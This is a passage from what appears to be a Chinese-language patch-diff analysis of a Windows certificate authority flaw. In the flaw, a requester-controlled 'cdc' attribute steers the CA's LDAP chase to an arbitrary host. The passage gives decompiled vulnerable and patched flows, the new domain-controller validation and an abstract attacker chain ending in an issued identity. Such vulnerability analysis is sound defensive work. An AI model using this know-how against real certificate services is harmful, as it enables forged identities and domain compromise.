Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">解析为真实的域控制器。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_LoadPrincipalObject</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">已修补的集成点；在 chase 之前调用验证。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_GetDSObject</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">相同的逻辑汇点，现仅在受保护路径活动时经验证后才到达。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_GetObjectSID</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">对象解析后更新的身份/SID 验证路径。</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">7 月 / 已修补</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Feature_3185813818</span></code></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">围绕更新行为的服务功能门控。</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7 月新增的关键部分是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_ValidateChaseTargetIsDC</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_ExtractBaseDNForDCSearch</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Feature_3185813818</span></code><span leaf="">门控。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">6 月存在漏洞版本的流程</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 6 月存在漏洞的构建版本中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_LoadPrincipalObject</span></code><span leaf="">读取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">请求属性，并直接将其传入启用了 chase 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_GetDSObject</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">// decompiled shape from CRequestInstance::_LoadPrincipalObject</span><span leaf=""><br/></span><span leaf="">polGetRequestAttribute(policy, L&#34;cdc&#34;, &amp;bstrString);</span><span leaf=""><br/></span><span leaf="">CRequestInstance::_GetDSObject(this, policy, 1, bstrString);</span><span leaf=""><br/></span><span leaf="">//                                           ^ chase enabled</span><span leaf=""><br/></span><span leaf="">//                                              ^ requester-controlled host</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">请求到目录的路径为：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">certificate request attribute -&gt; cdc BSTR -&gt; _GetDSObject(..., chase = 1, cdc)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">换言之，请求者控制的路由数据在 CA 尚未检查目标是否为域控制器之前，就已经到达了目录权威决策。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">7 月修补版本的流程</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7 月修补版本为相同的 chase 增加了功能门控验证调用，随后执行额外的 SID 验证路径。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">// decompiled shape from CRequestInstance::_LoadPrincipalObject</span><span leaf=""><br/></span><span leaf="">polGetRequestAttribute(policy, L&#34;cdc&#34;, &amp;bstrString);</span><span leaf=""><br/></span><span leaf="">if (Feature_3185813818::IsEnabled()) {</span><span leaf=""><br/></span><span leaf="">    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);</span><span leaf=""><br/></span><span leaf="">    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);</span><span leaf=""><br/></span><span leaf="">    CRequestInstance::_GetObjectSID(this, &amp;resolved_sid, mode);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在修补后的控制流中仍可见一个遗留行为分支：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">CRequestInstance::_GetDSObject(this, policy, 1, bstrString);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该分支在服务功能门控未启用时到达。对于实验室验证，功能状态很重要，因为受保护路径是有条件的。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">代码分析：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_ValidateChaseTargetIsDC</span></code></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CRequestInstance::_ValidateChaseTargetIsDC</span></code><span leaf="">是主要的新增防护。它接收请求者提供的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">值，在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_GetDSObject</span></code><span leaf="">执行 chase 之前检查其是否为域控制器主机名。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">验证分为两层。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，拒绝非安全 DC 主机名的值：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">// 1. Strip leading backslashes, then reject empty input</span><span leaf=""><br/></span><span leaf="">while (*target == L&#39;\\&#39;)</span><span leaf=""><br/></span><span leaf="">    target++;</span><span leaf=""><br/></span><span leaf="">if (*target == L&#39;\0&#39;)</span><span leaf=""><br/></span><span leaf="">    reject;</span><span leaf=""><br/></span><span leaf="">// 2. Reject oversized hostnames</span><span leaf=""><br/></span><span leaf="">if (wcslen(target) &gt; 0x104)</span><span leaf=""><br/></span><span leaf="">    reject;</span><span leaf=""><br/></span><span leaf="">// 3. Reject IPv4 and IPv6 literals</span><span leaf=""><br/></span><span leaf="">if (RtlIpv4StringToAddressW(target, TRUE, &amp;end, &amp;ipv4) == STATUS_SUCCESS &amp;&amp; *end == 0)</span><span leaf=""><br/></span><span leaf="">    reject;</span><span leaf=""><br/></span><span leaf="">if (RtlIpv6StringToAddressW(target, &amp;end, &amp;ipv6) == STATUS_SUCCESS &amp;&amp; *end == 0)</span><span leaf=""><br/></span><span leaf="">    reject;</span><span leaf=""><br/></span><span leaf="">// 4. Reject LDAP filter metacharacters</span><span leaf=""><br/></span><span leaf="">for (p = target; *p; p++) {</span><span leaf=""><br/></span><span leaf="">    if ((*p - 0x28) &lt;= 2 || (*p - 0x5b) &lt;= 2)</span><span leaf=""><br/></span><span leaf="">        reject;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">IP 检查阻止了如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">192.0.2.10</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">::1</span></code><span leaf="">的原始地址 chase 目标。元字符检查确保主机名保持在 LDAP 过滤器槽位内。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">字符串检查之后，函数向 Active Directory 查询该目标是否为 DC：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">(&amp;(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">8192</span></code><span leaf="">即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SERVER_TRUST_ACCOUNT</span></code><span leaf="">，域控制器计算机账户使用的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">userAccountControl</span></code><span leaf="">位。更新后的代码搜索恰好一个设置了该位且 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dNSHostName</span></code><span leaf="">匹配所提供 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">值的计算机对象。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">搜索路径大致如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,</span><span leaf=""><br/></span><span leaf="">                   filter, NULL, TRUE, NULL, NULL,</span><span leaf=""><br/></span><span leaf="">                   &amp;timeout, 1, &amp;result);</span><span leaf=""><br/></span><span leaf="">count = ldap_count_entries(ldap, result);</span><span leaf=""><br/></span><span leaf="">if (count == 0) {</span><span leaf=""><br/></span><span leaf="">    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);</span><span leaf=""><br/></span><span leaf="">    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,</span><span leaf=""><br/></span><span leaf="">                       filter, NULL, TRUE, NULL, NULL,</span><span leaf=""><br/></span><span leaf="">                       &amp;timeout, 1, &amp;result);</span><span leaf=""><br/></span><span leaf="">    count = ldap_count_entries(ldap, result);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">if (count != 1)</span><span leaf=""><br/></span><span leaf="">    reject;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">缺失的检查简单却关键：chase 目标必须是 AD 中注册的域控制器，而不仅仅是证书请求中的主机名字符串。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新为何能修复漏洞</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新前，存在漏洞的链为：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">attacker request -&gt; cdc=&#34;attacker host&#34; -&gt; CA LDAP chase -&gt; attacker response -&gt; issued identity</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 